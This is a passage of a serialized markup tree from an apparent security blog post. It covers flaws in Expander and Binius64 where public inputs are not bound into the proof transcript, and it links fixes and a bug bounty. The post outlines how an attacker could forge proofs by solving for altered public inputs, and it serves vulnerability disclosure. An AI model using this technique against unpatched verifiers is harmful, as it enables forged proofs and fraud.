style":6065},[6064],[],{"type":22,"tag":118,"props":122716,"children":122718},{"className":122717},[6070,6071,6072,6073],[122719],{"type":22,"tag":118,"props":122720,"children":122722},{"className":122721},[6023,6073],[122723],{"type":28,"value":6026},{"type":22,"tag":118,"props":122725,"children":122727},{"className":122726},[23699],[122728],{"type":28,"value":23702},{"type":22,"tag":118,"props":122730,"children":122732},{"className":122731},[6050],[122733],{"type":22,"tag":118,"props":122734,"children":122736},{"className":122735,"style":94726},[6055],[122737],{"type":22,"tag":118,"props":122738,"children":122739},{},[],{"type":22,"tag":118,"props":122741,"children":122743},{"className":122742,"style":6105},[6104],[],{"type":22,"tag":118,"props":122745,"children":122747},{"className":122746},[6110],[122748],{"type":28,"value":3220},{"type":22,"tag":118,"props":122750,"children":122752},{"className":122751,"style":6105},[6104],[],{"type":22,"tag":118,"props":122754,"children":122756},{"className":122755},[6012],[122757,122761,122766,122770,122775],{"type":22,"tag":118,"props":122758,"children":122760},{"className":122759,"style":94558},[6017],[],{"type":22,"tag":118,"props":122762,"children":122764},{"className":122763},[6023,23542],[122765],{"type":28,"value":72503},{"type":22,"tag":118,"props":122767,"children":122769},{"className":122768,"style":6202},[6104],[],{"type":22,"tag":118,"props":122771,"children":122773},{"className":122772},[6207],[122774],{"type":28,"value":282},{"type":22,"tag":118,"props":122776,"children":122778},{"className":122777,"style":6202},[6104],[],{"type":22,"tag":118,"props":122780,"children":122782},{"className":122781},[6012],[122783,122787],{"type":22,"tag":118,"props":122784,"children":122786},{"className":122785,"style":95674},[6017],[],{"type":22,"tag":118,"props":122788,"children":122790},{"className":122789},[6023],[122791],{"type":28,"value":6036},{"type":22,"tag":31,"props":122793,"children":122794},{},[122795],{"type":28,"value":122796},"Substitution reduces this to a quadratic in one variable, which is solvable with the quadratic formula.",{"type":22,"tag":31,"props":122798,"children":122799},{},[122800,122804,122806,122813,122815,122822],{"type":22,"tag":74,"props":122801,"children":122802},{},[122803],{"type":28,"value":118353},{"type":28,"value":122805}," Fixed on March 5, 2026 via ",{"type":22,"tag":42,"props":122807,"children":122810},{"href":122808,"rel":122809},"https://github.com/scroll-tech/ceno/pull/1262",[46],[122811],{"type":28,"value":122812},"PR #1262",{"type":28,"value":122814}," (original report: ",{"type":22,"tag":42,"props":122816,"children":122819},{"href":122817,"rel":122818},"https://github.com/scroll-tech/ceno/issues/1125",[46],[122820],{"type":28,"value":122821},"#1125",{"type":28,"value":3627},{"type":22,"tag":20760,"props":122824,"children":122825},{},[],{"type":22,"tag":1289,"props":122827,"children":122829},{"id":122828},"expander-polyhedra",[122830],{"type":28,"value":122831},"Expander (Polyhedra)",{"type":22,"tag":31,"props":122833,"children":122834},{},[122835],{"type":28,"value":122836},"Expander is a GKR-based proof system for arithmetic circuits.",{"type":22,"tag":31,"props":122838,"children":122839},{},[122840],{"type":22,"tag":74,"props":122841,"children":122842},{},[122843],{"type":28,"value":117059},{"type":22,"tag":107,"props":122845,"children":122847},{"code":122846},"Proof (raw bytes, parsed in order):\n    - PCS commitment\n    - Sumcheck round polynomials (for each layer)\n    - Layer claims (claim_x, claim_y)\n    - PCS opening proofs\n\nNOT in proof bytes (passed separately):\n    - public_input    // statement data passed separately\n    - claimed_v       // statement claim passed separately\n",[122848],{"type":22,"tag":114,"props":122849,"children":122850},{"__ignoreMap":7},[122851],{"type":28,"value":122846},{"type":22,"tag":31,"props":122853,"children":122854},{},[122855,122857,122863],{"type":28,"value":122856},"In Expander's circuit model, constant gates can reference public input values. During GKR verification, the ",{"type":22,"tag":114,"props":122858,"children":122860},{"className":122859},[],[122861],{"type":28,"value":122862},"eval_cst",{"type":28,"value":122864}," evaluates the contribution of these gates at the sumcheck challenge point:",{"type":22,"tag":107,"props":122866,"children":122868},{"code":122867,"language":111,"meta":7,"className":109,"style":7},"sum -= GKRVerifierHelper::eval_cst(&layer.const_, public_input, sp);\n",[122869],{"type":22,"tag":114,"props":122870,"children":122871},{"__ignoreMap":7},[122872],{"type":22,"tag":118,"props":122873,"children":122874},{"class":120,"line":121},[122875,122879,122884,122889,122893,122897,122901,122905,122910,122914,122919,122924,122928,122933],{"type":22,"tag":118,"props":122876,"children":122877},{"style":204},[122878],{"type":28,"value":78228},{"type":22,"tag":118,"props":122880,"children":122881},{"style":210},[122882],{"type":28,"value":122883}," -=",{"type":22,"tag":118,"props":122885,"children":122886},{"style":131},[122887],{"type":28,"value":122888}," GKRVerifierHelper",{"type":22,"tag":118,"props":122890,"children":122891},{"style":210},[122892],{"type":28,"value":1190},{"type":22,"tag":118,"props":122894,"children":122895},{"style":532},[122896],{"type":28,"value":122862},{"type":22,"tag":118,"props":122898,"children":122899},{"style":125},[122900],{"type":28,"value":540},{"type":22,"tag":118,"props":122902,"children":122903},{"style":210},[122904],{"type":28,"value":1407},{"type":22,"tag":118,"props":122906,"children":122907},{"style":204},[122908],{"type":28,"value":122909},"layer",{"type":22,"tag":118,"props":122911,"children":122912},{"style":210},[122913],{"type":28,"value":292},{"type":22,"tag":118,"props":122915,"children":122916},{"style":125},[122917],{"type":28,"value":122918},"const_, ",{"type":22,"tag":118,"props":122920,"children":122921},{"style":204},[122922],{"type":28,"value":122923},"public_input",{"type":22,"tag":118,"props":122925,"children":122926},{"style":125},[122927],{"type":28,"value":231},{"type":22,"tag":118,"props":122929,"children":122930},{"style":204},[122931],{"type":28,"value":122932},"sp",{"type":22,"tag":118,"props":122934,"children":122935},{"style":125},[122936],{"type":28,"value":682},{"type":22,"tag":31,"props":122938,"children":122939},{},[122940,122942,122947],{"type":28,"value":122941},"This evaluation is a linear combination of public input values, weighted by coefficients derived from the challenges stored in the verifier's scratch pad (",{"type":22,"tag":114,"props":122943,"children":122945},{"className":122944},[],[122946],{"type":28,"value":122932},{"type":28,"value":22702},{"type":22,"tag":31,"props":122949,"children":122950},{},[122951],{"type":22,"tag":74,"props":122952,"children":122953},{},[122954],{"type":28,"value":122955},"The vulnerability:",{"type":22,"tag":31,"props":122957,"children":122958},{},[122959,122964],{"type":22,"tag":114,"props":122960,"children":122962},{"className":122961},[],[122963],{"type":28,"value":122923},{"type":28,"value":122965}," is never absorbed into the transcript. The transcript is initialized from the PCS commitment and sumcheck round messages, but public inputs are passed separately to the verifier.",{"type":22,"tag":31,"props":122967,"children":122968},{},[122969],{"type":22,"tag":5928,"props":122970,"children":122973},{"alt":122971,"src":122972},"9_expander","/posts/zkvms-unfaithful-claims/9_expander.svg",[],{"type":22,"tag":31,"props":122975,"children":122976},{},[122977,122978,122983],{"type":28,"value":2743},{"type":22,"tag":114,"props":122979,"children":122981},{"className":122980},[],[122982],{"type":28,"value":122862},{"type":28,"value":122984}," function computes a linear combination:",{"type":22,"tag":31,"props":122986,"children":122987},{},[122988],{"type":22,"tag":114,"props":122989,"children":122991},{"className":122990},[5995,5996],[122992],{"type":22,"tag":118,"props":122993,"children":122995},{"className":122994},[6001],[122996],{"type":22,"tag":118,"props":122997,"children":122999},{"className":122998,"ariaHidden":6007},[6006],[123000,123045,123169],{"type":22,"tag":118,"props":123001,"children":123003},{"className":123002},[6012],[123004,123008,123017,123022,123032,123036,123041],{"type":22,"tag":118,"props":123005,"children":123007},{"className":123006,"style":96056},[6017],[],{"type":22,"tag":118,"props":123009,"children":123011},{"className":123010},[6023,28],[123012],{"type":22,"tag":118,"props":123013,"children":123015},{"className":123014},[6023],[123016],{"type":28,"value":39489},{"type":22,"tag":118,"props":123018,"children":123020},{"className":123019,"style":94643},[6023],[123021],{"type":28,"value":3422},{"type":22,"tag":118,"props":123023,"children":123025},{"className":123024},[6023,28],[123026],{"type":22,"tag":118,"props":123027,"children":123029},{"className":123028},[6023],[123030],{"type":28,"value":123031},"cst",{"type":22,"tag":118,"props":123033,"children":123035},{"className":123034,"style":6202},[6104],[],{"type":22,"tag":118,"props":123037,"children":123039},{"className":123038},[6207],[123040],{"type":28,"value":282},{"type":22,"tag":118,"props":123042,"children":123044},{"className":123043,"style":6202},[6104],[],{"type":22,"tag":118,"props":123046,"children":123048},{"className":123047},[6012],[123049,123053,123110,123114,123141,123146,123151,123156,123160,123165],{"type":22,"tag":118,"props":123050,"children":123052},{"className":123051,"style":94585},[6017],[],{"type":22,"tag":118,"props":123054,"children":123056},{"className":123055},[23578],[123057,123062],{"type":22,"tag":118,"props":123058,"children":123060},{"className":123059,"style":23585},[23578,23583,23584],[123061],{"type":28,"value":110438},{"type":22,"tag":118,"props":123063,"children":123065},{"className":123064},[6040],[123066],{"type":22,"tag":118,"props":123067,"children":123069},{"className":123068},[6045,23596],[123070,123099],{"type":22,"tag":118,"props":123071,"children":123073},{"className":123072},[6050],[123074,123094],{"type":22,"tag":118,"props":123075,"children":123077},{"className":123076,"style":115850},[6055],[123078],{"type":22,"tag":118,"props":123079,"children":123080},{"style":23609},[123081,123085],{"type":22,"tag":118,"props":123082,"children":123084},{"className":123083,"style":6065},[6064],[],{"type":22,"tag":118,"props":123086,"children":123088},{"className":123087},[6070,6071,6072,6073],[123089],{"type":22,"tag":118,"props":123090,"children":123092},{"className":123091},[6023,23542,6073],[123093],{"type":28,"value":3613},{"type":22,"tag":118,"props":123095,"children":123097},{"className":123096},[23699],[123098],{"type":28,"value":23702},{"type":22,"tag":118,"props":123100,"children":123102},{"className":123101},[6050],[123103],{"type":22,"tag":118,"props":123104,"children":123106},{"className":123105,"style":116130},[6055],[123107],{"type":22,"tag":118,"props":123108,"children":123109},{},[],{"type":22,"tag":118,"props":123111,"children":123113},{"className":123112,"style":6143},[6104],[],{"type":22,"tag":118,"props":123115,"children":123117},{"className":123116},[6023],[123118,123127,123132],{"type":22,"tag":118,"props":123119,"children":123121},{"className":123120},[6023,28],[123122],{"type":22,"tag":118,"props":123123,"children":123125},{"className":123124},[6023],[123126],{"type":28,"value":63616},{"type":22,"tag":118,"props":123128,"children":123130},{"className":123129,"style":94643},[6023],[123131],{"type":28,"value":3422},{"type":22,"tag":118,"props":123133,"children":123135},{"className":123134},[6023,28],[123136],{"type":22,"tag":118,"props":123137,"children":123139},{"className":123138},[6023],[123140],{"type":28,"value":10369},{"type":22,"tag":118,"props":123142,"children":123144},{"className":123143},[23671],[123145],{"type":28,"value":5746},{"type":22,"tag":118,"props":123147,"children":123149},{"className":123148},[6023,23542],[123150],{"type":28,"value":3613},{"type":22,"tag":118,"props":123152,"children":123154},{"className":123153},[23693],[123155],{"type":28,"value":17386},{"type":22,"tag":118,"props":123157,"children":123159},{"className":123158,"style":6105},[6104],[],{"type":22,"tag":118,"props":123161,"children":123163},{"className":123162},[6110],[123164],{"type":28,"value":112905},{"type":22,"tag":118,"props":123166,"children":123168},{"className":123167,"style":6105},[6104],[],{"type":22,"tag":118,"props":123170,"children":123172},{"className":123171},[6012],[123173,123177,123186,123191,123196,123201,123205,123254],{"type":22,"tag":118,"props":123174,"children":123176},{"className":123175,"style":6125},[6017],[],{"type":22,"tag":118,"props":123178,"children":123180},{"className":123179},[6023,28],[123181],{"type":22,"tag":118,"props":123182,"children":123184},{"className":123183},[6023],[123185],{"type":28,"value":114232},{"type":22,"tag":118,"props":123187,"children":123189},{"className":123188},[23671],[123190],{"type":28,"value":540},{"type":22,"tag":118,"props":123192,"children":123194},{"className":123193},[6023,23542],[123195],{"type":28,"value":3613},{"type":22,"tag":118,"props":123197,"children":123199},{"className":123198},[6136],[123200],{"type":28,"value":6139},{"type":22,"tag":118,"props":123202,"children":123204},{"className":123203,"style":6143},[6104],[],{"type":22,"tag":118,"props":123206,"children":123208},{"className":123207},[6023,113792],[123209],{"type":22,"tag":118,"props":123210,"children":123212},{"className":123211},[6045],[123213],{"type":22,"tag":118,"props":123214,"children":123216},{"className":123215},[6050],[123217],{"type":22,"tag":118,"props":123218,"children":123220},{"className":123219,"style":113878},[6055],[123221,123233],{"type":22,"tag":118,"props":123222,"children":123223},{"style":113809},[123224,123228],{"type":22,"tag":118,"props":123225,"children":123227},{"className":123226,"style":113814},[6064],[],{"type":22,"tag":118,"props":123229,"children":123231},{"className":123230,"style":94643},[6023,23542],[123232],{"type":28,"value":95462},{"type":22,"tag":118,"props":123234,"children":123235},{"style":113809},[123236,123240],{"type":22,"tag":118,"props":123237,"children":123239},{"className":123238,"style":113814},[6064],[],{"type":22,"tag":118,"props":123241,"children":123243},{"className":123242,"style":113902},[113832],[123244],{"type":22,"tag":118,"props":123245,"children":123247},{"className":123246,"style":113908},[113907],[123248],{"type":22,"tag":36213,"props":123249,"children":123250},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[123251],{"type":22,"tag":113920,"props":123252,"children":123253},{"d":113922},[],{"type":22,"tag":118,"props":123255,"children":123257},{"className":123256},[23693],[123258],{"type":28,"value":3627},{"type":22,"tag":31,"props":123260,"children":123261},{},[123262,123263,123332,123334,123339,123341,123346],{"type":28,"value":117479},{"type":22,"tag":114,"props":123264,"children":123266},{"className":123265},[5995,5996],[123267],{"type":22,"tag":118,"props":123268,"children":123270},{"className":123269},[6001],[123271],{"type":22,"tag":118,"props":123272,"children":123274},{"className":123273,"ariaHidden":6007},[6006],[123275],{"type":22,"tag":118,"props":123276,"children":123278},{"className":123277},[6012],[123279,123283],{"type":22,"tag":118,"props":123280,"children":123282},{"className":123281,"style":113878},[6017],[],{"type":22,"tag":118,"props":123284,"children":123286},{"className":123285},[6023,113792],[123287],{"type":22,"tag":118,"props":123288,"children":123290},{"className":123289},[6045],[123291],{"type":22,"tag":118,"props":123292,"children":123294},{"className":123293},[6050],[123295],{"type":22,"tag":118,"props":123296,"children":123298},{"className":123297,"style":113878},[6055],[123299,123311],{"type":22,"tag":118,"props":123300,"children":123301},{"style":113809},[123302,123306],{"type":22,"tag":118,"props":123303,"children":123305},{"className":123304,"style":113814},[6064],[],{"type":22,"tag":118,"props":123307,"children":123309},{"className":123308,"style":94643},[6023,23542],[123310],{"type":28,"value":95462},{"type":22,"tag":118,"props":123312,"children":123313},{"style":113809},[123314,123318],{"type":22,"tag":118,"props":123315,"children":123317},{"className":123316,"style":113814},[6064],[],{"type":22,"tag":118,"props":123319,"children":123321},{"className":123320,"style":113902},[113832],[123322],{"type":22,"tag":118,"props":123323,"children":123325},{"className":123324,"style":113908},[113907],[123326],{"type":22,"tag":36213,"props":123327,"children":123328},{"xmlns":113912,"width":113913,"height":113914,"style":113915,"viewBox":113916,"preserveAspectRatio":113917},[123329],{"type":22,"tag":113920,"props":123330,"children":123331},{"d":113922},[],{"type":28,"value":123333}," contains the challenges. Since challenges are derived before the statement data is bound, they are independent of ",{"type":22,"tag":114,"props":123335,"children":123337},{"className":123336},[],[123338],{"type":28,"value":122923},{"type":28,"value":123340},". This lets an attacker choose an arbitrary false statement (e.g., a forged output) and then solve the induced linear constraints for a modified ",{"type":22,"tag":114,"props":123342,"children":123344},{"className":123343},[],[123345],{"type":28,"value":122923},{"type":28,"value":123347}," that makes the verifier's check pass.",{"type":22,"tag":31,"props":123349,"children":123350},{},[123351,123355,123357,123364,123365,123368,123375],{"type":22,"tag":74,"props":123352,"children":123353},{},[123354],{"type":28,"value":118353},{"type":28,"value":123356}," Fixed on 21st January 2026 via ",{"type":22,"tag":42,"props":123358,"children":123361},{"href":123359,"rel":123360},"https://github.com/PolyhedraZK/Expander/commit/4a8c2be03535194c1f6b48a93ad2f5480649f7c2",[46],[123362],{"type":28,"value":123363},"commit 4a8c2be",{"type":28,"value":8467},{"type":22,"tag":32907,"props":123366,"children":123367},{},[],{"type":22,"tag":42,"props":123369,"children":123372},{"href":123370,"rel":123371},"https://blog.polyhedra.network/expander-bug-bounty/",[46],[123373],{"type":28,"value":123374},"Claimed 500k Bug bounty",{"type":28,"value":123376}," award pending",{"type":22,"tag":20760,"props":123378,"children":123379},{},[],{"type":22,"tag":1289,"props":123381,"children":123383},{"id":123382},"binius64",[123384],{"type":28,"value":109486},{"type":22,"tag":31,"props":123386,"children":123387},{},[123388,123390,123517],{"type":28,"value":123389},"Binius64 is a proof system optimized for binary fields, designed to be efficient on 64-bit CPUs. Binius uses ",{"type":22,"tag":114,"props":123391,"children":123393},{"className":123392},[5995,5996],[123394],{"type":22,"tag":118,"props":123395,"children":123397},{"className":123396},[6001],[123398],{"type":22,"tag":118,"props":123399,"children":123401},{"className":123400,"ariaHidden":6007},[6006],[123402],{"type":22,"tag":118,"props":123403,"children":123405},{"className":123404},[6012],[123406,123411],{"type":22,"tag":118,"props":123407,"children":123410},{"className":123408,"style":123409},[6017],"height:0.8665em;vertical-align:-0.1776em;",[],{"type":22,"tag":118,"props":123412,"children":123414},{"className":123413},[6023],[123415,123422],{"type":22,"tag":118,"props":123416,"children":123419},{"className":123417},[6023,123418],"mathbb",[123420],{"type":28,"value":123421},"F",{"type":22,"tag":118,"props":123423,"children":123425},{"className":123424},[6040],[123426],{"type":22,"tag":118,"props":123427,"children":123429},{"className":123428},[6045,23596],[123430,123505],{"type":22,"tag":118,"props":123431,"children":123433},{"className":123432},[6050],[123434,123500],{"type":22,"tag":118,"props":123435,"children":123437},{"className":123436,"style":113975},[6055],[123438],{"type":22,"tag":118,"props":123439,"children":123441},{"style":123440},"top:-2.5224em;margin-left:0em;margin-right:0.05em;",[123442,123446],{"type":22,"tag":118,"props":123443,"children":123445},{"className":123444,"style":6065},[6064],[],{"type":22,"tag":118,"props":123447,"children":123449},{"className":123448},[6070,6071,6072,6073],[123450],{"type":22,"tag":118,"props":123451,"children":123453},{"className":123452},[6023,6073],[123454],{"type":22,"tag":118,"props":123455,"children":123457},{"className":123456},[6023,6073],[123458,123463],{"type":22,"tag":118,"props":123459,"children":123461},{"className":123460},[6023,6073],[123462],{"type":28,"value":5147},{"type":22,"tag":118,"props":123464,"children":123466},{"className":123465},[6040],[123467],{"type":22,"tag":118,"props":123468,"children":123470},{"className":123469},[6045],[123471],{"type":22,"tag":118,"props":123472,"children":123474},{"className":123473},[6050],[123475],{"type":22,"tag":118,"props":123476,"children":123479},{"className":123477,"style":123478},[6055],"height:0.7463em;",[123480],{"type":22,"tag":118,"props":123481,"children":123482},{"style":114100},[123483,123487],{"type":22,"tag":118,"props":123484,"children":123486},{"className":123485,"style":110503},[6064],[],{"type":22,"tag":118,"props":123488,"children":123490},{"className":123489},[6070,110508,110509,6073],[123491],{"type":22,"tag":118,"props":123492,"children":123494},{"className":123493},[6023,6073],[123495],{"type":22,"tag":118,"props":123496,"children":123498},{"className":123497},[6023,6073],[123499],{"type":28,"value":31785},{"type":22,"tag":118,"props":123501,"children":123503},{"className":123502},[23699],[123504],{"type":28,"value":23702},{"type":22,"tag":118,"props":123506,"children":123508},{"className":123507},[6050],[123509],{"type":22,"tag":118,"props":123510,"children":123513},{"className":123511,"style":123512},[6055],"height:0.1776em;",[123514],{"type":22,"tag":118,"props":123515,"children":123516},{},[],{"type":28,"value":123518}," (or variants thereof), where addition is XOR. This makes certain operations very fast.",{"type":22,"tag":31,"props":123520,"children":123521},{},[123522,123524,123529],{"type":28,"value":123523},"One of Binius's key features is its specialized protocols for bitwise operations. The ",{"type":22,"tag":74,"props":123525,"children":123526},{},[123527],{"type":28,"value":123528},"Shift Protocol",{"type":28,"value":123530}," efficiently handles bit-shifts and rotations (essential for hash functions like SHA-256) without the massive overhead typical in other proof systems.",{"type":22,"tag":31,"props":123532,"children":123533},{},[123534],{"type":22,"tag":74,"props":123535,"children":123536},{},[123537],{"type":28,"value":122955},{"type":22,"tag":31,"props":123539,"children":123540},{},[123541],{"type":28,"value":123542},"The verifier receives the public witness (program inputs/outputs) as a separate parameter:",{"type":22,"tag":107,"props":123544,"children":123546},{"code":123545,"language":111,"meta":7,"className":109,"style":7},"pub fn verify\u003CF, C>(\n    constraint_system: &ConstraintSystem,\n    public: &[Word],    // \u003C- NEVER ABSORBED\n    // ...\n) -> Result\u003CVerifyOutput\u003CF>, Error>\n",[123547],{"type":22,"tag":114,"props":123548,"children":123549},{"__ignoreMap":7},[123550,123585,123610,123644,123652],{"type":22,"tag":118,"props":123551,"children":123552},{"class":120,"line":121},[123553,123557,123561,123565,123569,123573,123577,123581],{"type":22,"tag":118,"props":123554,"children":123555},{"style":146},[123556],{"type":28,"value":149},{"type":22,"tag":118,"props":123558,"children":123559},{"style":146},[123560],{"type":28,"value":529},{"type":22,"tag":118,"props":123562,"children":123563},{"style":532},[123564],{"type":28,"value":10170},{"type":22,"tag":118,"props":123566,"children":123567},{"style":125},[123568],{"type":28,"value":559},{"type":22,"tag":118,"props":123570,"children":123571},{"style":131},[123572],{"type":28,"value":123421},{"type":22,"tag":118,"props":123574,"children":123575},{"style":125},[123576],{"type":28,"value":231},{"type":22,"tag":118,"props":123578,"children":123579},{"style":131},[123580],{"type":28,"value":117872},{"type":22,"tag":118,"props":123582,"children":123583},{"style":125},[123584],{"type":28,"value":8598},{"type":22,"tag":118,"props":123586,"children":123587},{"class":120,"line":142},[123588,123593,123597,123601,123606],{"type":22,"tag":118,"props":123589,"children":123590},{"style":204},[123591],{"type":28,"value":123592},"    constraint_system",{"type":22,"tag":118,"props":123594,"children":123595},{"style":210},[123596],{"type":28,"value":213},{"type":22,"tag":118,"props":123598,"children":123599},{"style":210},[123600],{"type":28,"value":1430},{"type":22,"tag":118,"props":123602,"children":123603},{"style":131},[123604],{"type":28,"value":123605},"ConstraintSystem",{"type":22,"tag":118,"props":123607,"children":123608},{"style":125},[123609],{"type":28,"value":782},{"type":22,"tag":118,"props":123611,"children":123612},{"class":120,"line":177},[123613,123617,123621,123625,123629,123634,123639],{"type":22,"tag":118,"props":123614,"children":123615},{"style":204},[123616],{"type":28,"value":9528},{"type":22,"tag":118,"props":123618,"children":123619},{"style":210},[123620],{"type":28,"value":213},{"type":22,"tag":118,"props":123622,"children":123623},{"style":210},[123624],{"type":28,"value":1430},{"type":22,"tag":118,"props":123626,"children":123627},{"style":125},[123628],{"type":28,"value":5746},{"type":22,"tag":118,"props":123630,"children":123631},{"style":131},[123632],{"type":28,"value":123633},"Word",{"type":22,"tag":118,"props":123635,"children":123636},{"style":125},[123637],{"type":28,"value":123638},"],    ",{"type":22,"tag":118,"props":123640,"children":123641},{"style":257},[123642],{"type":28,"value":123643},"// \u003C- NEVER ABSORBED\n",{"type":22,"tag":118,"props":123645,"children":123646},{"class":120,"line":195},[123647],{"type":22,"tag":118,"props":123648,"children":123649},{"style":257},[123650],{"type":28,"value":123651},"    // ...\n",{"type":22,"tag":118,"props":123653,"children":123654},{"class":120,"line":244},[123655,123659,123663,123667,123671,123676,123680,123684,123688,123692],{"type":22,"tag":118,"props":123656,"children":123657},{"style":125},[123658],{"type":28,"value":588},{"type":22,"tag":118,"props":123660,"children":123661},{"style":210},[123662],{"type":28,"value":593},{"type":22,"tag":118,"props":123664,"children":123665},{"style":131},[123666],{"type":28,"value":598},{"type":22,"tag":118,"props":123668,"children":123669},{"style":125},[123670],{"type":28,"value":559},{"type":22,"tag":118,"props":123672,"children":123673},{"style":131},[123674],{"type":28,"value":123675},"VerifyOutput",{"type":22,"tag":118,"props":123677,"children":123678},{"style":125},[123679],{"type":28,"value":559},{"type":22,"tag":118,"props":123681,"children":123682},{"style":131},[123683],{"type":28,"value":123421},{"type":22,"tag":118,"props":123685,"children":123686},{"style":125},[123687],{"type":28,"value":569},{"type":22,"tag":118,"props":123689,"children":123690},{"style":131},[123691],{"type":28,"value":39339},{"type":22,"tag":118,"props":123693,"children":123694},{"style":125},[123695],{"type":28,"value":8002},{"type":22,"tag":31,"props":123697,"children":123698},{},[123699,123701,123707,123708,123714,123716,123720],{"type":28,"value":123700},"In the shift protocol, challenges ",{"type":22,"tag":114,"props":123702,"children":123704},{"className":123703},[],[123705],{"type":28,"value":123706},"r_j",{"type":28,"value":12991},{"type":22,"tag":114,"props":123709,"children":123711},{"className":123710},[],[123712],{"type":28,"value":123713},"inout_eval_point",{"type":28,"value":123715}," are sampled ",{"type":22,"tag":74,"props":123717,"children":123718},{},[123719],{"type":28,"value":106187},{"type":28,"value":123721}," the public witness is bound.",{"type":22,"tag":31,"props":123723,"children":123724},{},[123725],{"type":22,"tag":74,"props":123726,"children":123727},{},[123728],{"type":28,"value":117075},{"type":22,"tag":31,"props":123730,"children":123731},{},[123732],{"type":22,"tag":5928,"props":123733,"children":123736},{"alt":123734,"src":123735},"10_binius","/posts/zkvms-unfaithful-claims/10_binius.svg",[],{"type":22,"tag":31,"props":123738,"children":123739},{},[123740],{"type":28,"value":123741},"During verification",{"type":22,"tag":4029,"props":123743,"children":123744},{},[123745,123765,123777,123796],{"type":22,"tag":68,"props":123746,"children":123747},{},[123748,123750,123755,123757,123763],{"type":28,"value":123749},"Sumcheck produces challenge points ",{"type":22,"tag":114,"props":123751,"children":123753},{"className":123752},[],[123754],{"type":28,"value":123706},{"type":28,"value":123756}," (bit indices) and ",{"type":22,"tag":114,"props":123758,"children":123760},{"className":123759},[],[123761],{"type":28,"value":123762},"r_s",{"type":28,"value":123764}," (shift indices)",{"type":22,"tag":68,"props":123766,"children":123767},{},[123768,123770,123775],{"type":28,"value":123769},"Verifier samples ",{"type":22,"tag":114,"props":123771,"children":123773},{"className":123772},[],[123774],{"type":28,"value":123713},{"type":28,"value":123776}," from transcript",{"type":22,"tag":68,"props":123778,"children":123779},{},[123780,123782,123788,123790,123795],{"type":28,"value":123781},"Verifier computes ",{"type":22,"tag":114,"props":123783,"children":123785},{"className":123784},[],[123786],{"type":28,"value":123787},"public_eval = MLE(public, r_j, inout_eval_point)",{"type":28,"value":123789}," using the unbound ",{"type":22,"tag":114,"props":123791,"children":123793},{"className":123792},[],[123794],{"type":28,"value":63616},{"type":28,"value":20099},{"type":22,"tag":68,"props":123797,"children":123798},{},[123799,123800,123806],{"type":28,"value":2743},{"type":22,"tag":114,"props":123801,"children":123803},{"className":123802},[],[123804],{"type":28,"value":123805},"public_eval",{"type":28,"value":123807}," feeds into subsequent verification equations",{"type":22,"tag":31,"props":123809,"children":123810},{},[123811],{"type":28,"value":123812},"The MLE evaluation is linear in the public witness bits:",{"type":22,"tag":31,"props":123814,"children":123815},{},[123816],{"type":22,"tag":114,"props":123817,"children":123819},{"className":123818},[5995,5996],[123820],{"type":22,"tag":118,"props":123821,"children":123823},{"className":123822},[6001],[123824],{"type":22,"tag":118,"props":123825,"children":123827},{"className":123826,"ariaHidden":6007},[6006],[123828,123872,124012,124124],{"type":22,"tag":118,"props":123829,"children":123831},{"className":123830},[6012],[123832,123836,123845,123850,123859,123863,123868],{"type":22,"tag":118,"props":123833,"children":123835},{"className":123834,"style":96056},[6017],[],{"type":22,"tag":118,"props":123837,"children":123839},{"className":123838},[6023,28],[123840],{"type":22,"tag":118,"props":123841,"children":123843},{"className":123842},[6023],[123844],{"type":28,"value":63616},{"type":22,"tag":118,"props":123846,"children":123848},{"className":123847,"style":94643},[6023],[123849],{"type":28,"value":3422},{"type":22,"tag":118,"props":123851,"children":123853},{"className":123852},[6023,28],[123854],{"type":22,"tag":118,"props":123855,"children":123857},{"className":123856},[6023],[123858],{"type":28,"value":39489},{"type":22,"tag":118,"props":123860,"children":123862},{"className":123861,"style":6202},[6104],[],{"type":22,"tag":118,"props":123864,"children":123866},{"className":123865},[6207],[123867],{"type":28,"value":282},{"type":22,"tag":118,"props":123869,"children":123871},{"className":123870,"style":6202},[6104],[],{"type":22,"tag":118,"props":123873,"children":123875},{"className":123874},[6012],[123876,123880,123952,123956,123969,123974,123979,123984,123989,123994,123999,124003,124008],{"type":22,"tag":118,"props":123877,"children":123879},{"className":123878,"style":120405},[6017],[],{"type":22,"tag":118,"props":123881,"children":123883},{"className":123882},[23578],[123884,123889],{"type":22,"tag":118,"props":123885,"children":123887},{"className":123886,"style":23585},[23578,23583,23584],[123888],{"type":28,"value":110438},{"type":22,"tag":118,"props":123890,"children":123892},{"className":123891},[6040],[123893],{"type":22,"tag":118,"props":123894,"children":123896},{"className":123895},[6045,23596],[123897,123941],{"type":22,"tag":118,"props":123898,"children":123900},{"className":123899},[6050],[123901,123936],{"type":22,"tag":118,"props":123902,"children":123904},{"className":123903,"style":115315},[6055],[123905],{"type":22,"tag":118,"props":123906,"children":123907},{"style":23609},[123908,123912],{"type":22,"tag":118,"props":123909,"children":123911},{"className":123910,"style":6065},[6064],[],{"type":22,"tag":118,"props":123913,"children":123915},{"className":123914},[6070,6071,6072,6073],[123916],{"type":22,"tag":118,"props":123917,"children":123919},{"className":123918},[6023,6073],[123920,123926,123931],{"type":22,"tag":118,"props":123921,"children":123924},{"className":123922,"style":123923},[6023,23542,6073],"margin-right:0.02691em;",[123925],{"type":28,"value":51512},{"type":22,"tag":118,"props":123927,"children":123929},{"className":123928},[6136,6073],[123930],{"type":28,"value":6139},{"type":22,"tag":118,"props":123932,"children":123934},{"className":123933},[6023,23542,6073],[123935],{"type":28,"value":5243},{"type":22,"tag":118,"props":123937,"children":123939},{"className":123938},[23699],[123940],{"type":28,"value":23702},{"type":22,"tag":118,"props":123942,"children":123944},{"className":123943},[6050],[123945],{"type":22,"tag":118,"props":123946,"children":123948},{"className":123947,"style":115881},[6055],[123949],{"type":22,"tag":118,"props":123950,"children":123951},{},[],{"type":22,"tag":118,"props":123953,"children":123955},{"className":123954,"style":6143},[6104],[],{"type":22,"tag":118,"props":123957,"children":123959},{"className":123958},[6023],[123960],{"type":22,"tag":118,"props":123961,"children":123963},{"className":123962},[6023,28],[123964],{"type":22,"tag":118,"props":123965,"children":123967},{"className":123966},[6023],[123968],{"type":28,"value":63616},{"type":22,"tag":118,"props":123970,"children":123972},{"className":123971},[23671],[123973],{"type":28,"value":5746},{"type":22,"tag":118,"props":123975,"children":123977},{"className":123976,"style":123923},[6023,23542],[123978],{"type":28,"value":51512},{"type":22,"tag":118,"props":123980,"children":123982},{"className":123981},[23693],[123983],{"type":28,"value":17386},{"type":22,"tag":118,"props":1239